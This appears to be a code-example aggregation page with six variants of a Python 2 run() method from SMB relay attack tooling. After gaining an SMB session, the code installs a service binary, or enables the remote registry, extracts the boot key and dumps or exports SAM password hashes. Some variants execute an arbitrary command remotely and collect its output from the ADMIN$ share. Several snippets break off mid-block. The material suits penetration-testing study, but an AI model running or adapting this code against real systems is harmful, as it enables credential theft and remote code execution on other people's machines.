Esempio n. 1
0
    def run(self):
        # Here PUT YOUR CODE!
        if self.__exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            remoteOps = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
                bootKey = remoteOps.getBootKey()
                samFileName = remoteOps.saveSAM()
                samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                samHashes.dump()
                logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                logging.error(str(e))
            finally:
Esempio n. 2
0
	def run(self):
		samHashes = None
		try:
			# We have to add some flags just in case the original client did not
			# Why? needed for avoiding INVALID_PARAMETER
			flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
			flags2 |= SMB.FLAGS2_LONG_NAMES
			self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

			remoteOps  = RemoteOperations(self.__SMBConnection, False)
			remoteOps.enableRegistry()
		except Exception, e:
			# Something wen't wrong, most probably we don't have access as admin. aborting
			print str(e)
			return False
Esempio n. 3
0
 def run(self):
     # Here PUT YOUR CODE!
     if self.__exeFile is not None:
         result = self.installService.install()
         if result is True:
             logging.info("Service Installed.. CONNECT!")
             self.installService.uninstall()
     else:
         from secretsdump import RemoteOperations, SAMHashes
         samHashes = None
         remoteOps = None
         try:
             remoteOps  = RemoteOperations(self.__SMBConnection, False)
             remoteOps.enableRegistry()
             bootKey = remoteOps.getBootKey()
             samFileName = remoteOps.saveSAM()
             samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
             samHashes.dump()
             logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
         except Exception, e:
             logging.error(str(e))
         finally:
Esempio n. 4
0
    def run(self):
        # Here PUT YOUR CODE!
        if self.__exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something wen't wrong, most probably we don't have access as admin. aborting
                logging.error(str(e))
                return

            try:
                if self.__command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.__command)
                    logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
                    logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                logging.error(str(e))
Esempio n. 5
0
    def run(self):
        # Here PUT YOUR CODE!
        if self.__exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something wen't wrong, most probably we don't have access as admin. aborting
                logging.error(str(e))
                return

            try:
                if self.__command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.__command)
                    logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    print self.__answerTMP
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
                    logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                logging.error(str(e))
Esempio n. 6
0
 def run(self):
     # Here PUT YOUR CODE!
     if self.__exeFile is not None:
         result = self.installService.install()
         if result is True:
             logging.info("Service Installed.. CONNECT!")
             self.installService.uninstall()
     else:
         from secretsdump import RemoteOperations, SAMHashes
         samHashes = None
         remoteOps = None
         try:
             remoteOps = RemoteOperations(self.__SMBConnection)
             remoteOps.enableRegistry()
             bootKey = remoteOps.getBootKey()
             samFileName = remoteOps.saveSAM()
             samHashes = SAMHashes(samFileName, bootKey, isRemote=True)
             samHashes.dump()
             logging.info("Done dumping SAM hashes for host: %s",
                          self.__SMBConnection.getRemoteHost())
         except Exception, e:
             logging.error(str(e))
         finally: